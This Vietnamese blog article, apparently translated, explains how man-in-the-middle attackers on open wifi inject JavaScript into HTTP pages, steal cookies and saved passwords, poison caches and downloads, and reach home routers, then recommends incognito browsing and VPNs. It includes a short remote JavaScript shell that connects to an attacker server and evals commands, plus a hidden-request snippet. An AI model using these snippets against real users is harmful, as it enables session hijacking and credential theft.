Related image


Bài này viết về sự nguy hiểm của kiểu tấn công Man-In-the-Middle trên các trình duyệt, đặc biệt trong môi trường mạng kết nối wifi mở hoặc giả mạo.
------
Tình huống mà mình giả định là như thế này:
Bạn đang đi chơi. Bạn mang theo notebook hoặc smartphone. Bạn không có kết nối Internet. Ah, có một nguồn wifi mở mà bạn có thể dùng được! Bạn chỉ muốn xem tí tin tức thôi. Uhm, hay là kiểm tra email lun nhỉ (dĩ nhiên là bằng SSL). Các trình duyệt và plugin trên máy của bạn là các bản đã được patched (vá) mới nhất rồi, không một ai có thể hack vào máy của bạn bằng lỗ hổng 0 days hay những lỗi đại loại thế. Trình duyệt của bạn cũng đã được kích hoạt Javascript mặc định rồi.
Có gì sai trong tình huống trên?
Mình sẽ chỉ cho bạn thấy là kẻ đột nhập có thể cài được mã truy cập vào máy tính của bạn một cách hiệu quả và lâu dài như thế nào:
1. Sniffing
Image result for sniffing hack

Điều đầu tiên mà kẻ tấn công sẽ làm là xem lượt truy cập vào mạng của bạn. Việc bạn truy cập vào các trang mạng thì sẽ tiết lộ cái gì? À thì, hắn có thể thấy được lượt truy cập, thông tin của các DNS và HTTP mà bạn đã và đang xem. Biết được những điều này thì cũng không có gì đáng quan tâm cho lắm. Hắn có thể biết bạn đã đọc những bài báo nào, và nếu bạn không dùng Adblock thì hắn cũng có thể thấy vài lượt truy cập đến các mạng quảng cáo. Những thông tin này thì khá là vô dụng.
2. Shell (JS)
Tuy nhiên kẻ tấn công sẽ không dừng lại ở việc theo dõi các truy cập của bạn, hắn còn có thể sửa đổi những thứ mà bạn gửi và nhận qua HTTP. Nghĩa là hắn có thể gài một con Javascript Shell (JS) vào trong những trang mạng chưa được mã hóa mà bạn đang xem bằng cách inject (cài) một số code vào tất các trang HTML mà nó nhìn thấy. Ví dụ như thế này:
$ curl --proxy localhost:8080 http://blog.fefe.de/faq.html



[removed]

Fefe Blog FAQ
[...]
Với những trang như: socket.io, thì một shell JS điều khiển từ xa có thể được tạo ra chỉ trong một vài dòng code. Ví dụ, một site của khách hàng có thể trông như thế này:
(function() {
var socket = io.connect('http://'+__evil_injection_server)
socket.emit('register_victim', document.location+'')
socket.on('eval', function(cmd) {
eval(cmd)
})
})()
Vậy điều này có ý nghĩa gì? Kẻ tấn công có thể chạy code trên trình duyệt của nạn nhân, nhưng chỉ là những site tin tức mà nạn nhân xem qua thôi. Việc này thì cũng không có gì đáng phải quan tâm, nhưng nếu kết hợp với khả năng sniff (xem lén) và thao túng các trang HTTP mà nạn nhân truy cập thì nó rất đáng để quan tâm đấy. Hãy xem hắn có thể làm gì trên nếu thao túng được trình duyệt của bạn.
Related image

3. Cookies:
Image result for cookies hack

Cookie là những đoạn thông tin được các trang mạng tạo ra và lưu trên máy người dùng. Máy của người dùng sau đó sẽ gửi những thông tin này mỗi khi gửi request (yêu cầu) đến trang đó vào những lần sau, ngay cả khi những thông tin này không cần thiết cho máy chủ. Thông thường thì dữ liệu lưu trữ trong cookie khá đầy đủ để xác nhận một request (yêu cầu), vì vậy các thông tin trong cookie liên quan rất cao đến bảo mật. Tuy nhiên cũng có vài qui định khắc khe cho từng cookie khi được gửi đến máy chủ:
** Tên miền phải chính xác. Một cookie có hiệu lực với www.google.comhoặc .google.com chắc chắn là sẽ không có hiệu lực khi gửi cho www.yahoo.com. Dĩ nhiên rồi vì điều này rất quan trọng cho việc bảo mật.
** Đường dẫn phải chính xác. Ví dụ, một cookie có thể bị hạn chế đến đường dẫn /protected_stuff/ trên một máy chủ.
** Nếu một máy chủ yêu cầu trình duyệt flag Bảo Mật (Secure) cho cookie khi lưu trữ trên máy, thì trình duyệt đó chỉ có thể gửi những cookie được thực hiện qua các kết nối Bảo Mật(Secure) để gửi request đến máy chủ ví dụ như là TLS (kẻ tấn công không thể truy cập đến các cookie này). Tuy nhiên nếu website được truy cập thông qua một kết nối bảo mật thông thường, thì website đó sẽ không được gắn dấu hiệu Bảo Mật (Unsecure).
Bất kỳ website nào cũng có thể gửi yêu cầu tải nội dung từ các website khác. Ví dụ, một hình ảnh từ trang web khác được tải và nhúng vào trang web hiện tại. Do đó, kẻ tấn công cũng có thể sử dụng một shell JS trong trình duyệt khiến nội dung từ các trang web bất kỳ được tải xuống với các lệnh như sau:
var img_el = document.createElement('img')
img_el.style.opacity = '0%'
img_el.src = victim_url
document.body.appendChild(img_el)
setTimeout(function() { document.body.removeChild(img_el) }, 60000)
Điều này có nghĩa là, khi bạn dùng wifi chùa, kẻ tấn công sẽ khiến trình duyệt mà bạn đang xem gửi đến máy chủ một yêu cầu HTTP URL mà cookie có hiệu lực trên đó và sau đó lấy trộm các cookie Không Bảo Mật (Unsecure) được hồi đáp.
Một số trang web có thể bị tấn công theo cách này:
** Google: email, tên, hình ảnh
** Wikipedia: sẽ không sao nếu “Sử dụng kết nối bảo mật”, hoặc là có thể bị truy cập toàn bộ tài khoản
*** Stack Overflow : có thể bị truy cập toàn bộ tài khoản
*** Wolfram Alpha : địa chỉ IP được dùng để đăng ký, toàn bộ tài khoản và cả lịch sử truy vấn.
4. Ăn cắp Password:
Các trình duyệt hiện đại thường đề nghị giúp lưu trữ mật khẩu và tự điền các form đăng nhập mỗi khi bạn sử dụng lại các website đó. Nếu bạn lưu trữ thông tin đăng nhập vào bất kỳ trang web HTTP nào mà kẻ tấn công đã biết, hắn có thể dùng con shell JS mà hắn cài trong các trang tin tức để tải trang web chứa form đăng nhập của bạn vào một iframe. Sau đó sẽ gắn một con shell JS khác vào bên trong iframe này và dùng nó để đọc mật khẩu mà các trình duyệt tự điền vào. À thì website có thể gửi một tiêu đề "X-Frame-Options" hoặc một vài javascript nhằm ngăn ngừa việc framing (đóng khung thông tin), nhưng kẻ tấn công dư sức để tháo gỡ những thứ này được.
Ví dụ:
Một website freemailer của Đức web.de và gmx có một form đăng nhập trên một một trang HTTP để gửi mật khẩu đến một địa chỉ HTTPS. Kiểu này thì an toàn với những kiểu sniffing đơn giản, nhưng lại nguy hiểm nếu ai đó muốn lấy cắp mật khẩu của bạn theo kiểu trên.
Wordpress.com cũng vậy thôi.
Có lẽ điều thú vị hơn tất cả chính là những thông tin trong mạng LAN của bạn, router chẳng hạn. Có thể bạn đã truy cập chúng trên các HTTP plain, có nghĩa là kẻ tấn công cũng có thể có được mật khẩu quản trị router của bạn. Hắn sẽ phải thiết lập một máy chủ mới để đặt một trang đăng nhập tại IP router của bạn, điều này cũng không khó lắm.
5. Cached bị nhiễm độc
HTTP sẽ cho phép máy chủ xác định rằng sự phản hồi của nó phải được lưu trữ bởi trình duyệt, và sau này bản lưu trữ đó sẽ được dùng lại thay vì yêu cầu máy chủ lưu trữ nó một lần nữa - bản lưu trữ này được gọi là Cached (Bộ nhớ đệm), về mặt hiệu suất thì nó rất là tiện. Tuy nhiên kẻ tấn công có thể dùng nó để hack. Hắn có thể yêu cầu trình duyệt tải một URL nào đó, sau đó viết lại bản phản hồi đó bao gồm luôn trong đó một vài thứ đen tối và bản này sẽ được lưu trữ trong nhiều năm. Ví dụ hắn có thể thêm vào một JS console điều khiển từ xa giống như đoạn JS shell (script ví dụ phía trên) vào bên trong vài tập tin JS. Sự ảnh hưởng sẽ là hắn có thể chạy javascript trên những site có chứa con shell này mỗi khi bạn truy cập vào trang đó, thậm chí ngay cả khi bạn đã thoát khỏi cái wifi mở chết tiệt kia.
Bạn có thể sẽ hỏi rằng: "Điều gì sẽ xảy ra nếu trình duyệt bị dính script như thế? Kẻ tấn công có thể buộc trình duyệt tải lại đoạn script và lấy lại bản copy không? " Câu trả lời là "Được, hắn có thể làm điều này dễ dàng." Kẻ tấn công chỉ cần tải đoạn script này vào một ifram để các bản sao cached được tải lại, sau đó chạy:
frame.contentWindow.location.reload(true)
Thông số " true" nghĩa là " Không sử dụng bản sao Cached, ngay cả khi bạn vẫn còn một bản mới"
6. Bản download bị nhiễm độc
Giả lập rằng bạn là một người dùng Window, thỉnh thoảng tải và cài đặt các phần mềm. Ví dụ như từ trang sourceforge. Hãy nhìn vào mã nguồn của một trang download của sourceforge, nó luôn luôn bao gồm "http://www.google-analytics.com/ga.js." Vì thế, tên tấn công, người mà đã gài con shell JS vào trong máy của bạn khi bạn đang dùng wifi chùa chung với hắn, có thể thao túng bất kỳ trang dowload nào của sourceforge mà bạn xem, sau đó chuyển hướng máy của bạn đến máy chủ của hắn thay vì đến một link mirror dowload thật sự. Bạn có nghĩ rằng bạn sẽ phát hiện ra mình đang tải từ một máy chủ khác không? Ví dụ: Chromium và Chrome không hề hiển thị cho bạn biết bạn đang tải từ máy chủ nào và bạn vẫn nghĩ rằng mình đang tải từ nguồn rất tin cậy.
Hầu hết các trang download được phân phối qua HTTP vì chúng không chứa những dữ liệu bí mật - nhưng tính "trong sạch" của những dòng code mà bạn tải xuống thì rất quan trọng!
7. Commandline bị nhiễm độc
Có thể bạn là một người dùng Linux và tự hào rằng: "Ha ha! Những thứ trên không thể xảy ra với mình, vì mình chỉ cài đặt phần mềm bằng cách sử dụng trình quản lý gói". À thì, có khi nào hệ thống của bạn có vấn đề và bạn phải google để giải quyết? Và sau đó bạn cuối cùng cũng mò tới những site như unbuntu forum nơi có chứa các đoạn script hữu ích mà bạn chỉ cần sao chép và dán vào thiết bị đầu cuối của bạn? Hầu hết các forum (như là ubuntu forum) cũng bao gồm các tệp tin JS từ các URL cố định, và kẻ tấn công có thể tiêm JS vào chúng. Sau đó, khi bạn xem một đoạn mã và quyết định rằng bạn muốn dán nó vào dòng lệnh của mình, kẻ tấn công có thể sử dụng JS để làm cho bạn sao chép một cái gì đó hoàn toàn khác so với những gì bạn thấy với thiết bị đầu cuối của bạn. (https://goo.gl/CY3gpj)
8. Thiết bị nội bộ
Tất nhiên, kẻ tấn công có thể sử dụng cùng một kiểu tấn công để đưa đoạn code nhiễm độc vào các trình duyệt của gia diện Web trên router tại nhà bạn như sau.
Bạn trở về nhà sau khi dùng wifi chùa, mang theo đoạn bộ nhớ đệm (Cached) đã bị nhiễm độc. Kẻ tấn công có thể dùng đoạn script này ép các trình diện trên giao diện Web trên router tại nhà của bạn tải nó xuống. Sau đó sử dụng đoạn script nhiễm độc trong giao diện web trên router để truy cập nó từ bên ngoài.
9. Mạng Internet ở nhà
Nếu các thiết bị tại nhà có các giao diện web mà bạn đã từng truy cập, kẻ tấn công có thể quét để tìm những thiết bị này(giả sử rằng một vài thông tin của giao diện web được lưu trữ trên các thiết bị này). Kẻ tấn công đơn giản chỉ cần yêu cầu trình duyệt tải một tài nguyên cần lưu trữ từ IP của từng thiết bị. Sau đó kiểm tra xem trình duyệt có đưa ra yêu cầu bình thường cho URL hay không. Nếu không, đó là chính là điều thú vị cho hắn.
10. Phòng ngừa:
Có một số cách phòng ngừa cơ bản mà người dùng có thể sử dụng để tự vệ chống lại các cuộc tấn công như thế này. Đơn giản nhất, nhưng mạnh nhất là chỉ sử dụng trình duyệt ở chế độ ẩn danh trong khi lướt trên các mạng wifi không an toàn. Bằng cách này, không có thông tin nào (như mật khẩu hoặc cookie) có thể rò rỉ ra ngoài và không có bộ lưu trữ nhiễm độc (Cached) nào có thể lẻn vào. Cách khác là sử dụng một VPN tin cậy. Cách này thì bạn chỉ phải tin cậy vào nhà cung cấp VPN thay vì hệ thống mạng mà bạn đang sử dụng .
(Dịch từ: https://goo.gl/gZFiq9)